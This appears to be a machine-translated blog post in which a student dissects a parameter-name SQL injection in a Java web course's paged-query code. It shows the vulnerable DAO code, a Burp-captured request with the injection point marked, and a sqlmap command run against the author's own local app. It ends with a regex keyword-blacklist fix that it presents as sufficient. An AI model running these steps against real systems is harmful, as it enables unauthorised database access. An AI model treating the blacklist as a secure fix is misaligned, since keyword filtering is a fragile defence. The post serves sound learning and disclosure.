Dark horse javaweb353 set complex conditional query - parameter name sql injection case
Due to professional reasons, I was forced to learn java. But fortunately, a roommate pushed me the learning materials of dark horse, which was stable every semester.
During the learning process, it was found that there was an sql injection problem in a code written by the teacher. This injection problem is not a common parameter content injection, but because the parameter name is controllable.
So record it and share it with you.
https://www.bilibili.com/video/BV1qv4y1o79t?p=354
In 353 episode, the teacher demonstrated a complex conditional query case.
The general functions are as follows: (query according to name, native place and email)
Implementation analysis
- You need to judge whether the user has entered the name, native place, etc
- If it does not exist, execute the original sql statement directly
- If it exists, splice sql statements (for example, and name like '% test%')
code analysis
list.jsp
Send data such as name to findUserByPageServlet using form form
findUserByPageServlet.java
Store the parameter name and parameters into a map collection and send them to the findUserByPage method of an implementation class UserServiceImpl
UserServiceImpl.java
Pass the map collection into a database operation implementation class (userDao)
Key analysis
UserDaoImpl.java
public int findTotalCout(Map<String, String[]> condition) {
String sql = "select count(*) from user where 1=1";
StringBuilder sb = new StringBuilder(sql);
//Traversal map
Set<String> keySets = condition.keySet();
//Defines a collection of parameters
List<Object> params = new ArrayList<Object>();
for (String key : keySets) {
//Exclude paging condition parameters
if("currentPage".equals(key)||"rows".equals(key)){
continue;
}
//Get value
String value = condition.get(key)[0];
//Judge whether value has value
if (value != null && !"".equals(value)){
//Valuable
sb.append(" and "+key+" like ?");
params.add("%"+value+"%");
}
}
return template.queryForObject(sb.toString(),Integer.class,params.toArray());
}
The general logic is to use the for loop to traverse the map set, and then store the key name in the key. If the key exists and the parameter value exists, the key will be brought into the sql statement for splicing.
Splicing statement:
select count(*) from user where 1=1 and name like '%?%';
value is preprocessed and there is no sql injection.
However, the key is not preprocessed. We can splice sql statements by controlling the parameter name, so sql injection occurs.
Trying to exploit vulnerabilities
Enter some values to query
Use burp to capture packets and query normally
When I modify the parameter name * * 1 'and name * * through burp, I find an error and see the sql statement. Because of tomcat itself, special characters will be modified into html code and transmitted to the background for processing.
If the parameter name is changed to 1 and name and the access is normal, it indicates that there is injection.
And the background statement is:
select count(*) from user where 1=1 and 1 and name like "%text%"
Aggregate function occurs during query, and tomcat does not allow special characters. Therefore, it can not be marked, but time injection and error injection can be formed.
Run sqlmap
Note: replace the parameter name with * (indicating where sql will load the payload)
POST /day17/findUserByPageServlet HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 22 Origin: http://localhost:8081 Connection: close Referer: http://localhost:8081/day17/findUserByPageServlet?currentPage=1&rows=5 Cookie: JSESSIONID=84FF7F7AB1AAE9A01A9396DDC07E24CA; Idea-dab618b2=533e5dc9-f76f-4a1a-9ce3-526e903cd644 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 X-Forwarded-For: 127.0.0.4 X-Originating-IP: 127.0.0.4 X-Remote-IP: 127.0.0.4 X-Remote-Addr: 127.0.0.4 *=test&address=&email=
sqlmap -r "/Users/tiger/Desktop/Unnamed.txt" --dbs --batch
Reinforcement idea
If preprocessing is used for reinforcement, the query will not be found
Because preprocessing is equivalent to using question mark splicing, characters similar to double quotation marks will be added on both sides of the field name after splicing, resulting in no query results
select * from user where 1=1 and 'name' like '%t%' limit 0,5
No pretreatment
Therefore, you need to change your thinking and filter the string
How to prevent sql injection in java projects?
static String reg = "(?:')|(?:--)|(/\\*(?:.|[\\n\\r])*?\\*/)|"
+ "(\\b(select|update|and|or|delete|insert|trancate|char|into|substr|ascii|declare|exec|count|master|into|drop|execute)\\b)";
static Pattern sqlPattern = Pattern.compile(reg, Pattern.CASE_INSENSITIVE);//Indicates that case is ignored
@Override
public List<User> finByPage(int start, int rows, Map<String, String[]> condition) {
String sql = "select * from user where 1=1 ";
StringBuilder sb = new StringBuilder(sql);
//Traversal map
Set<String> keySets = condition.keySet();
//Defines a collection of parameters
List<Object> params = new ArrayList<Object>();
for (String key : keySets) {
//Exclude paging condition parameters
if("currentPage".equals(key)||"rows".equals(key)){
continue;
}
//Get value
String value = condition.get(key)[0];
//Judge whether value has value
if (value != null && !"".equals(value)){
//Judge whether it is injection
boolean sqlValid = isSqlValid(key);
if (!sqlValid){
return null;
}
//Valuable
sb.append(" and "+key+" like ?");
params.add("%"+value+"%");
}
}
//Add paging query
sb.append(" limit ?,?");
//Add paging query parameter value
params.add(start);
params.add(rows);
System.out.println(sb);
System.out.println(params);
return template.query(sb.toString(),new BeanPropertyRowMapper<User>(User.class),params.toArray());
}
public static boolean isSqlValid(String str) {
Matcher matcher = sqlPattern.matcher(str);
if (matcher.find()) {
System.out.println("Illegal characters exist in the parameter, please confirm:"+matcher.group());//Get illegal character: or
return false;
}
return true;
}
After judging the value, add a layer of judgment.
Bring the key name into the isSqlValid method for judgment. If it is an injection statement, it will return a false and directly return a null value.
Running with sqlmap has failed
